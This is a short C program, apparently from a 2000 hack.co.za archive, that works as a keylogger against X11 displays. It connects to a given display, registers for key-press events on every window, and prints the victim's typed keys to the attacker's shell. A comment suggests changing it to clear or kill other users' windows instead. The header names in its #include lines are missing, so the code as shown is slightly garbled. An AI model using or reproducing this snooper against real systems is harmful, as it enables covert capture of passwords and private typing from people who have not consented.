/* To compile, run it through your favorite ansi compiler something like ** this : ** ** gcc -o xkey xkey.c -lX11 -lm ** ** To run it, just use it like this : xkey displayname:0 ** and watch as that display's keypresses show up in your shell window. ** ** Dominic Giampaolo (nick@cs.maxine.wpi.edu) */ #include #include #include #include #include #include #include char *TranslateKeyCode(XEvent *ev); Display *d; void snoop_all_windows(Window root, unsigned long type) { static int level = 0; Window parent, *children, *child2; unsigned int nchildren; int stat, i,j,k; level++; stat = XQueryTree(d, root, &root, &parent, &children, &nchildren); if (stat == FALSE) { fprintf(stderr, "Can't query window tree...\n"); return; } if (nchildren == 0) return; /* For a more drastic inidication of the problem being exploited * here, you can change these calls to XSelectInput() to something * like XClearWindow(d, children[i]) or if you want to be real * nasty, do XKillWindow(d, children[i]). Of course if you do that, * then you'll want to remove the loop in main(). * * The whole point of this exercise being that I shouldn't be * allowed to manipulate resources which do not belong to me. */ XSelectInput(d, root, type); for(i=0; i < nchildren; i++) { XSelectInput(d, children[i], type); snoop_all_windows(children[i], type); } XFree((char *)children); } void main(int argc, char **argv) { char *hostname; char *string; XEvent xev; int count = 0; if (argv[1] == NULL) hostname = ":0"; else hostname = argv[1]; d = XOpenDisplay(hostname); if (d == NULL) { fprintf(stderr, "Blah, can't open display: %s\n", hostname); exit(10); } snoop_all_windows(DefaultRootWindow(d), KeyPressMask); while(1) { XNextEvent(d, &xev); string = TranslateKeyCode(&xev); if (string == NULL) continue; if (*string == '\r') printf("\n"); else if (strlen(string) == 1) printf("%s", string); else printf("<<%s>>", string); fflush(stdout); } } #define KEY_BUFF_SIZE 256 static char key_buff[KEY_BUFF_SIZE]; char *TranslateKeyCode(XEvent *ev) { int count; char *tmp; KeySym ks; if (ev) { count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL); key_buff[count] = '\0'; if (count == 0) { tmp = XKeysymToString(ks); if (tmp) strcpy(key_buff, tmp); else strcpy(key_buff, ""); } return key_buff; } else return NULL; } /* www.hack.co.za [2000]*/